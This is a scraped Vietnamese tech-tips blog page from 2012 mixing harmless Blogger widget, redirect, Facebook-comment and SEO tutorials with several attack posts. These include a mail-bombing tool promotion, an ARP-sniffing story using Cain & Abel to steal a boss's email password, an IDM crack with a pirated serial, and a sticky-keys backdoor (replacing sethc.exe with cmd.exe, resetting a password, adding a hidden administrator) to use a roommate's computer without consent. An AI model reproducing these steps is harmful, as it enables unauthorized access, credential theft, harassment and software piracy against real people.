Thứ Tư, 30 tháng 5, 2012

Tiện ích Bài viết mới hơn và cũ hơn cùng chủ đề

Mấy bữa nay cận Tết Tân Mão rồi nên rất bận rộn. Mặc dù vậy mình vẫn dành thời gian để chia sẻ thủ thuật và giải đáp yêu cầu của bạn đọc. Quả thật có rất nhiều ý tưởng muốn hiện thực hóa nhưng thời gian thì thấm thoát thoi đưa. Nhân tiện nhắc đến vài bữa trước bạn Minh Quân cứ nằng nặc yêu cầu mình viết bài về thủ thuật tạo tiện ích Bài viết liên quan mới hơn và cũ hơn cùng chủ đề. Mình đồng ý dành thời gian viết bài. Nhưng cũng biết lúc trước blogger Anh Võ (vietguideweb.com) đã từng phát triển tiện ích dạng này và có nhiều trang giới thiệu lại thủ thuật này, tuy nhiên thành công không như mong đợi đối với blogspot tiếng Việt khi các bài viết được gán nhãn bằng tiếng Việt sẽ không hoạt động được.


Nếu áp dụng lại thủ thuật của Anh Võ cho blog của mình cũng như nhiều blog khác thì chẳng nhẽ phải chỉnh lại tên các nhãn sang tiếng Anh hoặc tiếng Việt không dấu hay sao. Mình cũng nghĩ nát óc vẫn chưa chỉnh được code của Anh Võ để tiện ích hoạt động tốt hơn. Chợt nhớ có một bữa ghé thăm trang www.vietutd.blogspot.com có giới thiệu tiện ích Next Posts and Previous Posts. Mình tò mò thử nghiệm xem và nhận thấy tiện ích này hiển thị tốt với nhãn tiếng Việt. Thế là hình thành ngay ý tưởng điều chỉnh tiện ích này để biến nó thành tiện ích Bài viết mới hơn và cũ hơn cùng chủ đề (Newer and Older Related Posts) mà bạn thường thấy ở trang VnExpress.net.


Bạn có thể xem Demo.


Và dưới đây là hình minh họa.



Còn chờ gì nữa nào, chúng ta cùng cài đặt tiện ích này.


Bước 1. Đăng nhập Blogger, vào Design >> Edit HTML, chọn Expand Widget Templates. Nếu bạn đã từng cài đặt các tiện ích Bài viết liên quan kiểu khác thì nên tháo ra khỏi Template.


Đặt đoạn code sau đây vào sau dòng ]]></b:skin>.

<!--Related Posts Styled by Huynh Nhat Ha Start-->
<b:if cond='data:blog.pageType == &quot;item&quot;'>
<style type="text/css">
#related-posts{float:center;text-transform:none;height:100%;min-height:100%;padding-top:5px;}
#related-posts a{color:blue}
#related-posts a:hover{color:brown}
#related-posts ul{list-style-type:none;margin:0 0 0px 0;padding:0;text-decoration:none;font-size:12px;text-color:#000}
#related-posts ul li{display:block;/*background:url(&quot;http://img840.imageshack.us/img840/2004/rssqn.png&quot;) no-repeat 0 0;*/background:url(&quot;http://bit.ly/hjpshO&quot;) no-repeat 0 0;list-style-type:none;margin:0;padding-left:21px;line-height:1.5em;border-bottom:1px dotted #ccc}
</style>
</b:if>
<!--Related Posts Styled by Huynh Nhat Ha End-->

Bước 2. Tìm một trong các dòng dưới đây:


<div class='post-footer-line post-footer-line-1'/>

<div class='post-footer-line post-footer-line-2'/>

<div class='post-footer-line post-footer-line-3'/>

<div class='post-footer'>


Đặt trước nó bằng đoạn code bên dưới.

<!-- Related Posts Code Styled by Huynh Nhat Ha Start-->
<b:if cond='data:blog.pageType == &quot;item&quot;'>
<script language='javascript'>
// <![CDATA[
var maxnext = 5; // Chỉnh số 5 chỉ số bài viết mới hơn tối đa
var nexttitle = 'Bài viết mới hơn';
var maxprev = 8; // Chỉnh số 8 chỉ số bài viết cũ hơn tối đa
var prevtitle = 'Bài viết cũ hơn';
// ]]>
</script>
<script src='http://hacodeproject.googlecode.com/files/newer-older-related-posts.js' type='text/javascript'/>
<div id='related-posts'>
<div id='next-posts'/>
<b:loop values='data:post.labels' var='label'>
<script language='javascript'>
var vlabel = &quot;<data:label.name/>&quot;;
if (relateposturl.indexOf(&#39;?relatedlabel=&#39;)!=-1)
{nextlabel = (relatedlabel == vlabel) ? 0 : 1;}
if (nextlabel == 0)
{
var vtime = &quot;<data:post.timestampISO8601/>&quot;;
vtime = vtime.substring(0,19);
var srcurl = &quot;<data:blog.homepageUrl/>&quot;+ &quot;feeds/posts/default/-/&quot; + vlabel + &quot;?alt=json-in-script&amp;callback=next_results_labels&amp;max-results=999&quot;;
var script = document.createElement(&#39;script&#39;);
script.setAttribute(&#39;src&#39;, srcurl);
script.setAttribute(&#39;id&#39;, &#39;jsonScript&#39;);
script.setAttribute(&#39;type&#39;, &#39;text/javascript&#39;); document.documentElement.firstChild.appendChild(script);
nextlabel +=1;
}
</script>
</b:loop>
<div id='prev-posts'/>
<b:loop values='data:post.labels' var='label'>
<script language='javascript'>
var vlabel = &quot;<data:label.name/>&quot;;
if (relateposturl.indexOf(&#39;?relatedlabel=&#39;)!=-1)
{prevlabel = (relatedlabel == vlabel) ? 0 : 1;}
if (prevlabel == 0)
{
var vtime = &quot;<data:post.timestampISO8601/>&quot;;
vtime = vtime.substr(0,19);
var srcurl = &quot;<data:blog.homepageUrl/>&quot;+ &quot;feeds/posts/default/-/&quot; + vlabel + &quot;?alt=json-in-script&amp;callback=prev_results_labels&amp;max-results=999&quot;;
var script = document.createElement(&#39;script&#39;);
script.setAttribute(&#39;src&#39;, srcurl);
script.setAttribute(&#39;id&#39;, &#39;jsonScript&#39;);
script.setAttribute(&#39;type&#39;, &#39;text/javascript&#39;); document.documentElement.firstChild.appendChild(script);
prevlabel ++;
}
</script>
</b:loop>
</div>
</b:if>
<!-- Related Posts Code Styled by Huynh Nhat Ha End-->

Lưu Template là OK. Trong lúc gấp gáp để giải đáp cho bạn Minh Quân nóng lòng chờ đợi tiện ích này cho nên sẽ không tránh thiếu sót, hy vọng có thời gian mình sẽ phát triển thêm tiện ích này.
Theo: thegioibloger

Phần Mềm Boom Mail


Chức năng :
Boom đến tất cả các loại mail
Tốc độ Boom nhanh
Có thể dùng nhiều nick để tăng tốc độ boom

Hạn chế :
Các anh chị xài WIN XP phải cài thêm phần mềm NET Framework 3.5
(Còn ai xài WIN 7 thì cứ tẹt ga)


UPDATE : 
CÓ THỂ SỬ DỤNG YAHOO MAIL LÀM NICK BOOT . CHẠY SONG SONG NICK BOOT BẰNG GMAIL VÀ YAHOO MAIL
ĐÃ THÊM CHỨC NĂNG RANDOM TIÊU ĐỀ MAIL

(Mail boot phải có dạng: xx@yahoo.com hoặc xxx@gmail.com)

Giải nén và chạy Email.exe

Thứ Ba, 29 tháng 5, 2012

CHÔM PASSWORD VÀ ĐỌC LÉN MAIL CỦA SẾP

Lưu ý : Bài viết này là demo chứng minh cho tầm quan trọng của việc quản trị mạng chứ không phải hướng dẫn các bạn đi "chôm" pasword ! Đối với vai trò 1 Administrator thì không phải build up một network cho chạy là xong, mà phải kiểm soát và phải có phương hướng bảo mật cho network của mình. (Các tên nhân vật và tình huống câu chuyện là do tôi hư cấu)
Vụ án xảy ra tại công ty Frog Co ltd, có chú Ếch Con là IT chịu trách nhiệm chính của công ty Frog Co, công ty hoạt động ngày càng phát triển mạnh mẽ mà Sếp (Hai Nhái) vẫn không tăng lương cho chú Ếch nhà ta (nhân viên làm tại công ty Frog Co luôn có tiêu chí là "thêm việc chứ không thêm lương"). Công ty dùng mạng workgroup (mạng ngang hàng) và đều sử dụng thiết bị thuộc hàng "cổ lổ sỉ" (còn dùng Hub), chú Ếch muốn đề xuất mua một cái gì hoặc xin đi học cái gì đều bị Sếp bác bỏ bởi vì sếp ta luôn có một quan niệm : "cái gì còn sài được thì cứ sài". Sau nhiều ngày sống trong "áp bức và bốc lột" (e hèm !!! nói hơi quá, hihi) nên chú Ếch nhà ta muốn làm một cái gì đó để chứng tỏ mô hình mạng đang dùng hoàn toàn không an toàn, cần phải mua thêm thiết bị mới và triển khai các mô hình mạng Domain/Firewall/IDS …. để an toàn hơn và cũng như để chứng tỏ mình làm được nhiều việc mà tại sao Sếp lại …. không tăng lương.
Vậy chú Ếch nhà ta phải làm gì để tạo tiếng vang, để chứng minh cho Sếp thấy là mạng hiện tại không an toàn ? Có nhiều phương án hiện ra trong đầu Ếch : cài trojan chôm password Sếp ? Lấy dữ liệu trong laptop Sếp ? … và phương án cuối cùng nó nghĩ ra là dùng chương trình sniff để đọc lén email của Sếp cũng như …. chôm password email của Sếp. Chương trình Sniff mà Ếch chọn là Cain & Abel.
Vụ án 1 : Ông Sếp khóc huhu vì thằng Ếch biết được password email
Mô hình mạng công ty Frog Co như sau :

- Trên máy tính của Ếch cài đặt phần mềm Cain & Abel.

- Phần mềm Cain đòi hỏi phải có WinPcap (WinPcap là một phần trong bộ tool packet sniffer, dùng để capture các gói tin trên mạng)

- Ếch ta vào CMD, dùng lệnh net view để xem các host đang kết nối trong mạng của mình.

- Sau khi đã biết được hostname của ông Sếp (hostname : DAODUYHIEU) thì chú Ếch liền ping để xem IP là gì.

- Ếch khởi động chương trình Cain và chọn card mạng để sniffer.

- Ếch chạy Mac Address Scanner để xem MAC và IP đang kết nối trong host

- Kết quả đã hiện ra, Ếch đã thấy được IP : 192.168.7.251 ứng với hostname của sếp nó là DAODUYHIEU.

- Ếch tiến hành bắt gói tin từ máy sếp tới router (router ở đây với IP : 192.168.7.200)

- Quá trình sniffer đã bắt đầu, chú Ếch lúc này cười hehe và chit chat đợi chờ Sếp ta check mail (thiệt là ác quá đi, hehe)

- Sếp ta vẫn không hay biết có một thằng Ếch đang có dã tâm "chôm" password của mình và cứ đăng nhập để check mail.

- Sếp đã đăng nhập vào mail và đọc mail.

- Lúc này chú Ếch nhà ta mới mở Cain lên và xem "tiến độ" như thế nào. E hèm, trong tab ARP đã bắt được các gói ARP-Cert và ARP-HTTPS rồi. Hehe, Ếch ta cười thầm trong bụng.


- Ếch chuyển sang tab Password thì … oh yeah !!! Tất cả mọi thứ nó cần đã ở đây, mục đích của nó đã thành công rồi. Theo như kết quả của nó thu thập được thì email của ông Sếp là daoduyhieu_lab@yahoo.com và password là MatKhau.

Chú Ếch liền thông báo với Sếp là đã biết password của Sếp. Sếp ta không nói gì nhưng thật sự hoang mang vì chỉ mới hôm qua tới nay nó đã lấy được password của mình rồi. Trong một buổi nhậu chiều tại quán Thu Nở – 17 Võ Thị Sáu – Phan Thiết (Quán này tui hay nhậu hải sản nên giới thiệu luôn, hehe) Sếp (Hai Nhái) đã bày tỏ "tâm sự" này với anh Ba Cóc (anh Ba Cóc cán bộ của một cơ quan nhà nước, cũng là hàng Sếp) sự tình, vậy theo anh là có nên nâng cấp hệ thống của mình lên không ? Có nên cho thằng Ếch đi học cái khóa học gọi là bảo mật gì đó không ? Anh Ba Cóc trầm ngâm suy nghĩ (thực chất anh Ba Cóc mù tịt, nhưng cũng làm ra vẻ … trầm ngâm), đột nhiên Ba Cóc liền nhớ ra thằng Tư Nòng Nọc đệ tử của mình trên cơ quan liền giới thiệu với Hai Nhái đại khái là "thằng Tư Nòng Nọc trên cơ quan tui khá lắm, nó được tui cho đi học ở nước ngoài hoài, và cũng nghe nói là một héc cờ (hacker) gì đó nha". Hai Nhái như mở cờ trong bụng liền xin số và gọi ngay cho "chiên" gia Tư Nòng Nọc xin ý kiến, "chiên" gia Tư Nòng Nọc suy nghĩ liền phán rằng "Anh Hai Nhái khi vào email nhớ chọn ghi nhớ vào máy luôn thì không ai làm gì được đâu". Sếp Hai Nhái vui mừng liền sáng mai áp dụng chiêu này rồi bảo với Ếch rằng "tui mới được chiên gia bảo mật hướng dẫn cách phòng chống rồi, nếu chú vào được email tui lần nữa thì tui sẽ duyệt dự án nâng cấp của chú và cho chú đi học một khóa bảo mật".
Sau tuyệt chiêu của Tư Nòng Nọc chỉ cho Sếp Hai Nhái thì làm sao Ếch sniff được User/Password mà vào hộp thư của Sếp? Vậy dự án của Ếch có được thực hiện hay không ? Ếch có được đi học bảo mật hay không ? Hồi sau sẽ rõ.

Tạo folder và sub-folder bằng cách sử dụng file text

Nếu bạn từng phải tạo một lượng lớn các folder trong Windows thì bạn sẽ hiểu được việc mệt mỏi và khó chịu khi làm việc này là thế nào. Nhưng với mẹo sau bạn sẽ phải ngạc nhiêu và cảm thấy thú vị khi chỉ cần một file text để lưu tên các folder muốn tạo, tự động bạn sẽ có tất cả.



Việc đầu tiên bạn cần phải làm là gõ danh sách các folder bạn muốn tạo vào một file text. Bạn nên để tên folder thành từng dòng. Nếu bạn muốn tạo folder con chỉ cần thêm dấu "\" sau tên folder cha và gõ tên folder con. Lưu file lại và nhớ đường dẫn nơi bạn save.


Tiếp theo bạn download chương trình Text 2 Folders. Sau đó giải nén và chạy chương trình.

Click nút phía trên cùng, tại dòng Root folder, và tìm folder bạn muốn tạo các folder con bên trong.

Tiếp theo nhấn nút thứ hai để đến vị trí bạn lưu file text vừa rồi.

Click tạo folders và để chương trình tự hoạt động.

Nguồn:howtogeek.com

Crack IDM cực kì đơn giản. Mọi phiên bản!


 

Tắt IDM.
Vào đây C:\Windows\System32\drivers\etc.

Chon "hosts" mở bằng notepad.
Copy cái này vào cuối:

127.0.0.1 localhost
::1 localhost
127.0.0.1 tonec.com
127.0.0.1 www.tonec.com
127.0.0.1 registeridm.com
127.0.0.1 www.registeridm.com
127.0.0.1 secure.registeridm.com
127.0.0.1 internetdownloadmanager.com
127.0.0.1 www.internetdownloadmanager.com
127.0.0.1 secure.internetdownloadmanager.com
127.0.0.1 mirror.internetdownloadmanager.com
127.0.0.1 mirror2.internetdownloadmanager.com
127.0.0.1 mirror3.internetdownloadmanager.com
Mở IDM lên.
Nhập đầy đủ thông tin.
Serial: QQFKP-GIYQM-UCIJI-655YR
Mọi bản IDM đều xài được đó nha.

Reset password Admin không cần hirenboot


Tý và Tèo là sinh viên và ở chung 1 phòng trọ. Tý có máy tính mà không cho Tèo sài ké, Tèo chỉ được ké máy khi có Tý ở cùng (Tý đặt password cho Adminin và tắt giao diện welcome screen, không cho boot từ CD và đặt password bios). Vậy thì khi Tý đi vắng thì Tèo làm thế nào để có thể dùng máy ? Tèo đã áp dụng chiêu này và "bùa" trước cái máy trong khi Tý cho phép sài ké.
Lợi dụng lúc Tý không chú ý, Tèo gõ lệnh : 

cd C:\WINDOWS\system32
copy cmd.exe sethc.exe
Sau khi Tèo đi vắng thì Tý boot máy, tới giao diện đăng nhập thì Tèo nhấn phím Shift 5 lần để gọi CMD.
- Sau khi có được cmd thì Tèo gõ lệnh sau để reset password thành 123 

net user DaoDuyHieu 123
- Để tránh trường hợp Tý phát hiện là đã bị đổi pass, Tèo add thêm user tên mình và gán vào group Administrators 

net user teo 123 /add
net localgroup Administrators teo /add
Lúc này thì Tèo đã có thể dùng máy thoải mái khi Tý đi vắng
Được đăng bởi Juno_okyo™

Video học lập trình C# từ cơ bản đến nâng cao (Tiếng việt)



1. Làm quen:

 
Quote

Bài 1: Tạo và lưu 1 project
Bài 2: Sử dụng slutionexploer
Bài 3: Autohide
Bài 4: Tạo breakpoint
Bài 5:Sử dụng Tool box
Bài 6:Sử dụng propties
Bài 7: dynamichelp
Bài 8: sắp xếp các panel
Bài 9: sử dụng Watch
Bài 10: sử dụng Comment và region
Bài 11: limmediate windown
Bài 12: Layout
Bài 13: Smarttash
Bài 14: Snippet

2. Cơ bản:

Quote
Video 1: Cách xây dựng class trong C#.
Video 2: Biến và các kiểu dữ liệu.
Video 3: Các phép toán và biểu thức.
Video 4: Biểu thức If.
Video 5: Biểu thức Switch.
Video 6: Vòng lặp For.
Video 7: Vòng lặp While và Do ... While.
Video 8: Mảng.
Video 9: Đối số dòng lệnh.
Video 10: Hàm.

3. Nâng cao:

Quote
Video 1: Lớp và đối tượng.
Video 2: Thuộc tính và phương thức.
Video 3: Hàm khởi tạo.
Video 4: Tính kế thừa.
Video 5: Điều khiển truy xuất.
Video 6: Không gian tên.
Video 7: Tính đa hình.
Video 8: Lớp trừu tượng và lớp bị khóa.
Nguồn: http://sinhvienit.net/@forum/threads/13383-video-hoc-lap-trinh-c-tu-co-ban-den-nang-cao-tieng-viet/

TUT sử dụng Cain & Abel để hack mạng LAN


2. Cài đặt: Như cài đặt phần mềm bình thường.
3. Sử dụng: 
Bật C&A lên và:





















Telnet trong windows 7

Trong Win 7, Telnet bị disable. Vì thế muốn Enable Telnet ta làm như sau:

Vào Control Panel > Programs and Features > Turn Windows features on or off. Check vào check box Telnet Client > Ok.

Tài liệu an ninh mạng và kĩ thật tấn công trojan and backdoor




Download: 
download

Hướng dẫn tạo trang redirect cho blogspot

Hướng dẫn tạo trang redirect cho blogspot

Đăng bởi Thương Lee lúc 10/09/2011
Các bạn thường thấy ở 1 số forum, khi ta click vào 1 link liên kết nào đó, nó thường dẫn ta tới 1 trang trung gian trước khi chuyển tới trang đích. Thường các trang như vậy để kiểm tra virus hoặc đơn giản chỉ là câu pageview hoặc tạo 1 nơi để đặt quảng cáo. Hôm nay mình sẽ hướng dẫn các bạn tạo 1 trang như vậy cho blogspot. Và mục đích với blogspot chỉ đơn giản là câu pageview và chèn quảng cáo. Nếu bạn nào muốn PR tên miền của mình thì có thể dùng cách này.

Xem demo : tinhoc24h.info
Có 2 cách để tạo trang redirect như demo, 1 là sử dụng 1 trang trên blog chính của bạn, 2 là tạo hẳn 1 blog mới, và chỉ dùng nó để làm trang redirect. Và để cho đơn giản, mình sẽ hướng dẫn cách 2 cho các bạn.
Sau đây là các bước thực hiện :
1. Tạo mới 1 blog
2. Vào chỉnh sửa code HTML, vào xóa tất cả các code có trong thẻ body :
<body>
...
xóa tất cả code có trong thẻ này
...
</body>

- Nếu muốn code của template gọn gàng hơn, các bạn có thể xóa hết các code CSS của template. Lưu ý là chỉ xóa code css, không nên xóa các dòng khác. Sau đó các bạn muốn làm đẹp trang redirect của mình thì cứ thêm code CSS mới vào.

3. Tiếp theo là xóa thanh Navbar :
- thêm đọan code bên dưới vào trước thẻ <body>
<script type='text/javascript'>
<![CDATA[
<!--
/*<body>*/
-->
]]>
</script>
4. Tiếp theo là thêm đọan code bên dưới vào sau thẻ <body>

<b:section class='main' id='main' showaddelement='yes'>
</b:section>

- Thực ra đây là code để tạo nút thêm tiện ích ở trang phần tử blog. Bước 4 này dùng để tạo 1 widget Javascript/HTML để chèn code chính của thủ thuật vào. Lý do mình hướng dẫn các bạn chèn code chính của thủ thuật vào widget mà không phải vào hẳn code template là do trong code template việc chèn code javascript vào thường gặp lỗi.

5. Vào trang phần tử và tạo 1 widget javascript/HTML và chèn code bên dưới vào :

<script type="text/javascript">
<!--
String.prototype.GetValue= function(para) {
var reg = new RegExp("(^|&)"+ para +"=([^&]*)(&|$)");
var r = this.substr(this.indexOf("\?")+1).match(reg);
if (r!=null) return unescape(r[2]); return null;
}
var str = location.href;
//-->
</script>
<div id="header">
<center>
<div class="top">
<span ><script type="text/javascript">document.write(str.GetValue("url")); </script> </span>
</div>
</center>
</div>
<div id="main">
<form name=loading>
<div align=center>
<script type="text/javascript">
document.write("<input style=\"text-align:center;margin:3px;font-weight::bold;\" type=\"button\" onclick=\"location.href='"+str.GetValue("url")+"'\""+" value=\"Click here to Continue\"");
</script>
</div>
<div align=center>
<input type="text" name="chart" size="48" style="font-family:Arial; color:#000; background:url(http://data.fandung.com/img/loading-bg1.png) no-repeat left; padding:0 1px 1px 1px; border-style:none;" /> <br />
<input type="text" name="percent" size="14" style="color:#0066ff; text-align:center; border-width:medium; border-style:none;background:#efefef;" />
<script type="text/javascript">
var bar=0;
var line="||";
var amount="||";
count();
function count(){
bar=bar+2;
amount =amount + line;
document.loading.chart.value=amount;
document.loading.percent.value="Loading ... "+bar+"%";
if (bar<99)
{setTimeout("count()",100);}
else
{window.location = str.GetValue("url");}
}
</script>
</div>
</form>
</div>
<div id="footer">
Nội dung của footer
</div>

- Ở đây mình đã phân sẵn 3 vùng riêng biệt đó là : header, main và footer, các bạn có thể theo đó mà thêm bớt hoặc tạo thêm các code CSS cho 3 id này để trang redirect của bạn trông pro hơn. Cụ thể như các bạn có thể add các quảng cáo vào…

Sau khi đã có trang redirect bây giờ ta sẽ thực hiện việc redirect cho các link liên kết.
- Bình thường 1 liên kết sẽ có dạng như bên dưới :

<a href="link liên kết">Liên kết</a>

- Bây giờ ta sẽ cho nó load qua trang trung gian của chúng ta trước khi nó chuyển tới trang đích. Và code của nó sẽ là như thế này

<a href="javascript:;" onclick="javascript:window.open('http://dl.tinhoc24h.info/?url=http://domain.com/example.html','newwin','fullscreen=yes,scrollbars=1,toolbar=0,resizable=1')">Liên kết</a>

hoặc

- http://dl.tinhoc24h.info/ : là địa chỉ trang redirect của bạn.
- http://domain.com/example.html : liên kết cần tác động.

Chúc các bạn thành công.


Facebook comments for blogger - Chèn comment của facebook vào blogspot

Facebook comments for blogger  - Chèn comment của facebook vào blogspot - http://namkna.blogspot.com/
Facebook đã trở nên phổ biến và quen thuộc mỗi khi chúng ta muốn lên đây để ... "chém gió". Và hôm nay Namkna  sẽ giới thiệu cho các bạn công cụ của Fandung. hướng dẫn cho các bạn đem cái công cụ "chém gió" này vào blog của các bạn. Với việc thay thế comment của blogspot bằng comment của facebook hy vọng blog của các bạn sẽ sôi động hơn.

Có thể nói thủ thuật chèn comment của facebook vào mỗi bài viết blogspot cũng không mới lạ gì, 1 số blog thủ thuật nước ngoài đã đăng tải rồi (các bạn có thể vào google search với từ khóa facebook comments for blogger là có kết quả ngay). Tuy nhiên phải nói là cách thực hiện nó cũng khá phức tạp. Ngay cả mình cũng chưa thực hiện thành công khi làm theo các bước hướng dẫn. Có lần mình đã cố thử vào trang http://developers.facebook.com/setup/ mà không được, không biết có phải facebook hạn chế đối với user ở Viện Nam ko nữa.
Ở bài này mình giới thiệu cho các bạn 2 cách là:
Cách 1 là chỉ có 1 form comment của facebook.
Cách 2 là chạy 2 comment cùng 1 lúc, mặc định là form comment của blogspot, nếu muốn xem bên form comment của facebook thì click vào liên kết chuyển form.
Dưới đây là Demo cho cả 2 cách:
Xem DEMO

Giờ chúng ta sẽ đi vào cách cụ thể:
Cách 1 là chỉ có 1 form comment của facebook.
Facebook comments for blogger  - Chèn comment của facebook vào blogspot - http://namkna.blogspot.com/
Bước 1: Bước đầu tiên bạn phải làm là đóng comment của blogger lại. Các bước thực
Facebook comments for blogger  - Chèn comment của facebook vào blogspot - http://namkna.blogspot.com/
- Save cài đặt lại.

Bước 2 : chèn code của thủ thuật vào template.
1. Vào phần thiết kế -> chỉnh sửa code HTML -> nhấp chọn mở rộng mẫu tiện ích.
2. Chèn đoạn code bên dưới vào trước thẻ đóng </head>
<script type='text/javascript'>
//<![CDATA[
var purl= location.href;
var fb_href = purl.substring(0,purl.indexOf(".html")+5);
var fbcm ='<div class="fb-comments" data-href="'+fb_href+'" data-num-posts="5" data-width="660"></div>';
//]]>
</script>
data-width là độ rộng của comment box.
data-num-posts là số comment được hiển thị (cũng chính là số bài reply trên 1 comment)
data-href là để phân biệt từng comment box, mỗi địa chỉ data-href khác nhau sẽ cho 1 comment box khác nhau. và trong thủ thuật này data-href chính là link của mỗi bài viết
3. Chèn đoạn code bên dưới vào sau thẻ <body>
<div id='fb-root'/>
<script>(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) {return;}
js = d.createElement(s); js.id = id;
js.src = &quot;//connect.facebook.net/en_US/all.js#xfbml=1&quot;;
fjs.parentNode.insertBefore(js, fjs);
}(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));</script>
4. Tìm đoạn code như bên dưới :
<b:include data='post' name='post'/>
5. Chèn ngay sau nó đoạn code bên dưới :
<b:if cond='data:blog.pageType == &quot;item&quot;'>
<script type='text/javascript'>
document.write(fbcm);
</script>
</b:if>
6. Save template. và ra xem kết quả.

Cách 2 là chạy 2 comment cùng 1 lúc, mặc định là form comment của blogspot, nếu muốn xem bên form comment của facebook thì click vào liên kết chuyển form.
Ảnh minh họa:
Facebook comments for blogger  - Chèn comment của facebook vào blogspot - http://namkna.blogspot.com/

Facebook comments for blogger  - Chèn comment của facebook vào blogspot - http://namkna.blogspot.com/
Sau đây là các bước thực hiện : lưu ý là ở bản cập nhật này các bước thực hiện vẫn tương tự, chỉ có khác là không vào phần cài đặt để ẩn comment mà thôi. Vì thế nếu đã thực hiện bản cũ muốn update lên ở bản này thì các bạn cứ việc thay thế code đã thêm ở bản cũ bằng code của bản này là được.
1. Vào phần thiết kế -> chỉnh sửa code HTML -> nhấp chọn mở rộng mẫu tiện ích.
2. Chèn đoạn code bên dưới vào trước thẻ đóng </head>
<script type='text/javascript'>
//<![CDATA[
String.prototype.GetValue= function(para) {
var reg = new RegExp("(^|&)"+ para +"=([^&]*)(&|$)");
var r = this.substr(this.indexOf("\?")+1).match(reg);
if (r!=null) return unescape(r[2]); return null;
}
var purl= location.href;
var cm_form = purl.GetValue("cm_form");
var fb_href = purl.substring(0,purl.indexOf(".html")+5);
var fbcm ='<div class="fb-comments" data-href="'+fb_href+'" data-num-posts="5" data-width="660"></div>';
//]]>
</script>
data-width là độ rộng của comment box.
data-num-posts là số comment được hiển thị (cũng chính là số bài reply trên 1 comment)
data-href là để phân biệt từng comment box, mỗi địa chỉ data-href khác nhau sẽ cho 1 comment box khác nhau. và trong thủ thuật này data-href chính là link của mỗi bài viết.

3. Chèn đoạn code bên dưới vào sau thẻ <body>
<div id='fb-root'/>
<script>(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) {return;}
js = d.createElement(s); js.id = id;
js.src = &quot;//connect.facebook.net/en_US/all.js#xfbml=1&quot;;
fjs.parentNode.insertBefore(js, fjs);
}(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));</script>
4. Tìm đoạn code như bên dưới :
<b:include data='post' name='post'/>
5. Chèn ngay sau nó đoạn code bên dưới :
<b:if cond='data:blog.pageType == &quot;item&quot;'>
<div id='cmnav' style='text-align:center;'> <a
href='?cm_form=blogger#cmnav'>Blogger Comments</a> | <a
href='?cm_form=facebook#cmnav'>Facebook Comments</a>
</div>

<script type='text/javascript'>
if (cm_form==&quot;facebook#cmnav&quot;) {
document.write(fbcm);
var fbcss = document.createElement(&quot;style&quot;);
fbcss.type = &quot;text/css&quot;;
fbcss.innerHTML = &quot;#comments { display:none }&quot;;
document.body.appendChild(fbcss);
}
</script></b:if>
- Ở bước 5 này có 1 lưu ý nhỏ. Bạn phải xác định thẻ div chưa nội dung của phần comment của blogger là gì, đa số nó sẽ là #comments. Tùy theo template của bạn đang xài, và tùy theo người Rip template thì có thể nó sẽ khác. Việc xác định nó cũng không khó nên mình không hướng dẫn ở đây.
- 1 điều nữa là phần liên kết chuyển form comment (href='?cm_form=blogger'  href='?cm_form=facebook'). Cái giá trị cm_form=facebook thì bạn phải giữ nguyên, còn giá trịcm_form=blogger thì các bạn có thể thay đổi theo ý thích. Cái này chỉ có tác dụng load lại trang để sang chế độ comment của blogger mà thôi. Như ở đây mình khuyên cũng nên giữ nguyên để cho nó đẹp, pro 1 tý.

6. Save template.

Chúc các bạn thành công.
Theo: Fandung.

Tối ưu hóa SEO tốt nhất cho blogger


Hiện nay blogger/blogspot đã trở nên khá phổ biến với người dùng web ở Việt Nam. Những mặt thuận lợi của blogger/blogspot là dễ sử dụng, tiết kiệm chi phí host và ngày càng được quan tâm hơn. Nhưng bên cạnh những thuận lợi thì blogger/blogspot còn 1 số hạn chế như về vấn đề tải trang, SEO, và tính cạnh tranh ngày càng lớn.
Hôm nay mình viết bài này hi vọng các bạn cùng chia sẽ với nhau về những giải pháp, thủ thuật để nâng tầm phát triển cho blogger/blogspot mọi người đang dùng. Vấn đề được các webmaster quan tâm nhất là SEO.
Mặc dù blogger còn hạn chế nhiều điểm, nhưng mức đánh giá về SEO của blogger không thua kém gì các mã nguồn ở khác. Vậy để làm sao để blogger/blogspot đạt được mức độ SEO tối đa.
Ở đây mình chia sẽ về những gì mình học được từ những tiền bối trước về SEO tuy cũng chưa hiểu lắm về nó nhưng thấy rất khả dụng, nếu quan tâm thì bạn cùng góp ý kiến với mình nhá.
Dưới đây là 1 số kinh nghiệm Tối ưu hóa SEO blogspot mà mình quan tâm nhất.

Tiêu đề và nội dung bài viết (tiêu đề không quá dài và nội dung tự viết càng tốt tránh trùng lặp nội dung).
Từ khóa cho mỗi bài viết (cố gắng chọn những từ khóa có liên quan tới tiêu đề bài viết 1 tí :D ).
Tối ưu hóa SEO title,description, keywords để google có thể tìm thấy bài viết(quyết định cho sự lên top của keywords đây ^^!)
Sử dụng cái Tag name cho ảnh như thẻ title, alt (cái này để ảnh trong bài viết của bạn được tìm thấy trên phần tìm ảnh google)
Thiết kế phần CSS càng nhẹ tốc độ tải trang càng nhanh
Backlink: nếu bạn liên kết càng nhiều backlink có chất lượng thì blogger của bạn sẽ được đánh giá cao trong liên kết này rất ảnh hưởng tới SEO cho 1 keywords (thường thì mình thích liên kết với những site có cùng nội dung)
Sử dụng Webmaster Tools của Google để tăng tốc độ index bài viết, và tránh trường hợp google index thiếu bài viết.
Submit RSS lên các bộ máy tìm kiếm ngoài google như yahoo,bing,ask...Đó là tất cả những gì mình đã làm và thấy rất hiệu quả
Lưu ý: Không nên đổi tiêu đề blog, bài viết quá nhiều làm thế mất hết từ khóa trên google dễ dẫn đến mất khách hàng loạt.
Còn dưới đây mình chia sẽ về cách tối ưu hóa SEO cho title, description, và keywords mỗi bài viết ^^! ai thấy thích thì sài không thì đừng chém nhá ^^!
Bổ sung hướng dẫn: Design -> Edit HTML -> Expand Widget Templates -> Find:
<title><data:blog.pageTitle/></title>
Replace it with:

<!--start seo title by tinhoc24h.info-->
<b:if cond='data:blog.pageType == &quot;index&quot;'>
<title><data:blog.title/></title>
<meta content='Tinhoc24h.Info là website chia sẻ thủ thuật máy tính, thủ thuật pc, kinh nghiệm sử dụng máy tính, kiến thức tin học căn bản,pc tips,tải phần mềm miễn phí,free download...' name='Description'/>
